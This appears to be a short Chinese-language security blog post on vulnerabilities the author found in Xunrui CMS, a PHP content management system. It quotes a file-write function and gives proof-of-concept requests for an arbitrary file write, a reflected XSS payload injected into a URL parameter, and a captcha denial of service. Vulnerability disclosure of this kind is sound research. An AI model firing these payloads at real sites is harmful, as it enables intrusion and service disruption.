Dec 9, 2019

Xunruicms

237 Words

2019-12-08 16:07 +0000

前言

前几天寻思着想挖几个通用的洞于是在fofa poc列表上找找目标. 锁定目标为php cms 已有0day. 2019-12-09 00-09-38 的屏幕截图.png 很快就锁定到了这个迅睿cms. 发现可以在gitee上下载.

废了好大力气最后在fofa扫的时候才发现寥寥无几基本可以忽略. 心态十分爆炸

上传文件

转移了<> 危害不大

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 漏洞代码
  /**
     * 存储临时表单内容
     */
    public function save_form_data() {
        // fixme 文件写入 但是由于转义了< 所以无法命令
        $rt = \Phpcmf\Service::L('cache')->init('file')->save(
            dr_safe_filename(\Phpcmf\Service::L('input')->get('name')),
            \Phpcmf\Service::L('input')->post('data'),
            7200
        );
        var_dump($rt);
        exit;
    }

poc

1
2
3
POST /index.php?c=api&m=save_form_data&s=api&name=test.html 

data: hello world

反射XSS

需登录且有权限上传文件

poc http://127.0.0.1:8080/index.php?c=file&m=input_file_url&s=api&name=1%22%20onfocus=%22alert(%27xss%27);%20autofocus%20%22&fid=1

验证码dos

poc http://127.0.0.1:8080/index.php?c=api&m=captcha&s=api&width=4000&height=4000